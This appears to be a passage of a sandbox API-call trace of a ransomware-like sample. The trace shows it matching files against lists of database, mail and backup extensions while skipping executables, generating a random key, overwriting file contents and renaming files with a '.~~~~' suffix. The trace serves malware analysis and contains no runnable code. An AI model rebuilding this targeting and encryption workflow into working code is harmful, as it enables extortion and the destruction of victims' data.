	[0085.258] lstrlenW (lpString=".edb") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".edb") returned 0x0
	[0085.258] lstrlenW (lpString=".PST") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".PST") returned 0x0
	[0085.258] lstrlenW (lpString=".dbf") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dbf") returned 0x0
	[0085.258] lstrlenW (lpString=".SQL") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".SQL") returned 0x0
	[0085.258] lstrlenW (lpString=".pst") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".pst") returned 0x0
	[0085.258] lstrlenW (lpString=".dbv") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dbv") returned 0x0
	[0085.258] lstrlenW (lpString=".SDF") returned 4
	[0085.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".SDF") returned 0x0
	[0085.259] lstrlenW (lpString=".dtxs") returned 5
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dtxs") returned 0x0
	[0085.259] lstrlenW (lpString=".db3") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".db3") returned 0x0
	[0085.259] lstrlenW (lpString=".OST") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".OST") returned 0x0
	[0085.259] lstrlenW (lpString=".dbx") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dbx") returned 0x0
	[0085.259] lstrlenW (lpString=".DB3") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DB3") returned 0x0
	[0085.259] lstrlenW (lpString=".DAT") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DAT") returned 0x0
	[0085.259] lstrlenW (lpString=".VHDX") returned 5
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".VHDX") returned 0x0
	[0085.259] lstrlenW (lpString=".ndf") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".ndf") returned 0x0
	[0085.259] lstrlenW (lpString=".DB") returned 3
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DB") returned 0x0
	[0085.259] lstrlenW (lpString=".sql") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".sql") returned 0x0
	[0085.259] lstrlenW (lpString=".MYD") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".MYD") returned 0x0
	[0085.259] lstrlenW (lpString=".DBT") returned 4
	[0085.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DBT") returned 0x0
	[0085.259] lstrlenW (lpString=".ACCDB") returned 6
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".ACCDB") returned 0x0
	[0085.260] lstrlenW (lpString=".fdb") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".fdb") returned 0x0
	[0085.260] lstrlenW (lpString=".bak") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".bak") returned 0x0
	[0085.260] lstrlenW (lpString=".myd") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".myd") returned 0x0
	[0085.260] lstrlenW (lpString=".DTXS") returned 5
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".DTXS") returned 0x0
	[0085.260] lstrlenW (lpString=".ckp") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".ckp") returned 0x0
	[0085.260] lstrlenW (lpString=".dbt") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".dbt") returned 0x0
	[0085.260] lstrlenW (lpString=".db") returned 3
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".db") returned 0x0
	[0085.260] lstrlenW (lpString=".TXT") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".TXT") returned 0x0
	[0085.260] lstrlenW (lpString=".MDF") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".MDF") returned 0x0
	[0085.260] lstrlenW (lpString=".bdb") returned 4
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".bdb") returned 0x0
	[0085.260] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.261] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.261] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.261] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.262] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20525514893) returned 1
	[0085.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ca3b330, dwHighDateTime=0x1d60e1e)) 
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cee8
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cee8 | out: hHeap=0x300000) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f34a0
	[0085.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.266] GetLastError () returned 0x0
	[0085.266] GetLastError () returned 0x0
	[0085.266] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.266] GetLastError () returned 0x0
	[0085.266] GetLastError () returned 0x0
	[0085.267] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffdb5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.267] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x24b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x24b, lpOverlapped=0x0) returned 1
	[0085.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.267] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.267] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.267] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.268] CloseHandle (hObject=0x11c) returned 1
	[0085.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.~~~~")) returned 1
	[0085.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.270] GetLastError () returned 0x0
	[0085.271] RtlWakeConditionVariable () returned 0x365f70
	[0085.271] GetCurrentThreadId () returned 0x3a4
	[0085.271] GetCurrentThreadId () returned 0x3a4
	[0085.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0085.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ceb0 | out: hHeap=0x300000) returned 1
	[0085.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.271] lstrlenW (lpString=".scr") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.271] lstrlenW (lpString=".cmd") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.271] lstrlenW (lpString=".dll") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.271] lstrlenW (lpString=".bat") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.271] lstrlenW (lpString=".cpl") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.271] lstrlenW (lpString=".sys") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.271] lstrlenW (lpString=".msc") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.271] lstrlenW (lpString=".com") returned 4
	[0085.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.271] lstrlenW (lpString=".lnk") returned 4
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.272] lstrlenW (lpString=".msp") returned 4
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.272] lstrlenW (lpString=".pif") returned 4
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.272] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.272] lstrlenW (lpString=".sqb") returned 4
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.272] lstrlenW (lpString=".ost") returned 4
	[0085.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.272] lstrlenW (lpString=".txt") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.273] lstrlenW (lpString=".mdt") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.273] lstrlenW (lpString=".BDB") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.273] lstrlenW (lpString=".eql") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.273] lstrlenW (lpString=".DBF") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.273] lstrlenW (lpString=".EQL") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.273] lstrlenW (lpString=".FDB") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.273] lstrlenW (lpString=".EDB") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.273] lstrlenW (lpString=".DACPAC") returned 7
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.273] lstrlenW (lpString=".VHD") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.273] lstrlenW (lpString=".DBV") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.273] lstrlenW (lpString=".dacpac") returned 7
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.273] lstrlenW (lpString=".sdf") returned 4
	[0085.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.274] lstrlenW (lpString=".accdb") returned 6
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.274] lstrlenW (lpString=".DBX") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.274] lstrlenW (lpString=".MDT") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.274] lstrlenW (lpString=".SQB") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.274] lstrlenW (lpString=".vhd") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.274] lstrlenW (lpString=".bac") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.274] lstrlenW (lpString=".mdf") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.274] lstrlenW (lpString=".BAK") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.274] lstrlenW (lpString=".BAC") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.274] lstrlenW (lpString=".dbs") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.274] lstrlenW (lpString=".vhdx") returned 5
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.274] lstrlenW (lpString=".NDF") returned 4
	[0085.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.274] lstrlenW (lpString=".dat") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.275] lstrlenW (lpString=".DBS") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.275] lstrlenW (lpString=".CKP") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.275] lstrlenW (lpString=".edb") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.275] lstrlenW (lpString=".PST") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.275] lstrlenW (lpString=".dbf") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.275] lstrlenW (lpString=".SQL") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.275] lstrlenW (lpString=".pst") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.275] lstrlenW (lpString=".dbv") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.275] lstrlenW (lpString=".SDF") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.275] lstrlenW (lpString=".dtxs") returned 5
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.275] lstrlenW (lpString=".db3") returned 4
	[0085.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.275] lstrlenW (lpString=".OST") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.276] lstrlenW (lpString=".dbx") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.276] lstrlenW (lpString=".DB3") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.276] lstrlenW (lpString=".DAT") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.276] lstrlenW (lpString=".VHDX") returned 5
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.276] lstrlenW (lpString=".ndf") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.276] lstrlenW (lpString=".DB") returned 3
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.276] lstrlenW (lpString=".sql") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.276] lstrlenW (lpString=".MYD") returned 4
	[0085.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
